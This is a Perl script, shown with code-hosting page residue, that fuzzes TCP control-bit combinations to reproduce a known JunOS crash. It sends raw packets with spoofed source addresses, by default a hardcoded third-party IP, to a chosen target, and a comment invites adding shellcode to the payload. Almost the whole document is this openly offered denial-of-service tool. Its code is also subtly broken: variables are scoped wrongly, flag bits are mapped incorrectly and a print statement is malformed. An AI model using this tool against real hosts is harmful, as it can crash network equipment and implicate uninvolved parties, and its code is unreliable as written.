61 lines
No EOL
1.8 KiB
Perl
Executable file
61 lines
No EOL
1.8 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
# 2^6 TCP Control Bit Fuzzer (No ECN or CWR)
|
|
#
|
|
# This code was written originally as a control bit fuzzer for the JunOS 3-9 crash mentioned
|
|
# in PSN-2010-01-623 and http://www.securityfocus.com/news/11571
|
|
# However it will also be useful in fuzzing future IP stacks, such as userland IP stacks or
|
|
# embedded systems.
|
|
#
|
|
# Originally it was was going to be the full 2^8, however Net::RawIP does't support the ECE
|
|
# or the CWR bit, so I've got a Metasploit auxillery in the works to cover the full 2^8.
|
|
#
|
|
# I've left the ece/cwr portions commented out, so if in the future Net::RawIP supports these bits,
|
|
# all you need to do is uncomment them and change the 65 in the for loop to a 256.
|
|
#
|
|
# Written by Shadow, 1/08/2010
|
|
# ShadowHatesYou @ irc.freenode.net #remote-exploit
|
|
|
|
use Net::RawIP;
|
|
|
|
# Set the packet's payload. Shellcode could go here....
|
|
my $data = "Die!";
|
|
|
|
if ($ARGV[1] eq '') { print "Usage: ./" . $0 . " <ip> <port> <optionalsourceip>\n"; exit(0); }
|
|
if ($ARGV[2] eq '') { my $src_ip = "72.52.4.181" } else { my $src_ip = $ARGV[2]; }
|
|
|
|
my $packet = new Net::RawIP({tcp=>{}});
|
|
$packet->set({
|
|
ip => {
|
|
saddr => $src_ip,
|
|
daddr => $ARGV[0],
|
|
id => 666
|
|
}
|
|
});
|
|
# Build packet $i with TCP control options $i
|
|
for (my $i=0; $i < 64; $i++) {
|
|
my $packet = new Net::RawIP({tcp=>{}});
|
|
# Get our options
|
|
my $binary = sprintf("%b", $i);
|
|
my @bits = split(//, $binary);
|
|
# Set the source and destination IP
|
|
$packet->set({
|
|
tcp => {
|
|
source => $ARGV[1],
|
|
dest => $ARGV[1],
|
|
data => $data,
|
|
syn => @bits[0],
|
|
ack => @bits[1],
|
|
fin => @bits[2],
|
|
rst => @bits[3],
|
|
psh => @bits[4],
|
|
urg => @bits[5],
|
|
# cwr => @bits[6],
|
|
# ece => @bits[7]
|
|
}
|
|
});
|
|
# Packets away.
|
|
print "Sending packet " . ($i + 1) . " to " . $ARGV[0] . ":" .$ARGV[1] . " Bits: bits\n";
|
|
$packet->send;
|
|
}
|
|
exit(0); |